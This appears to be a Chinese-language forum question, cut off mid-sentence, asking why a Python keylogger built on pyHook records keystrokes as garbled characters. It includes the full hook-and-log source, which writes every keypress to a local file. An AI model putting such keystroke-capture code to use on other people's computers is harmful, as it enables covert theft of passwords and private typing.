我的python键盘记录器无法正常运行,但是当记录到按键时,它们不会记录为普通字符
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\Chance\\Desktop\\Random.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
这是我的代码,最终将按键保存为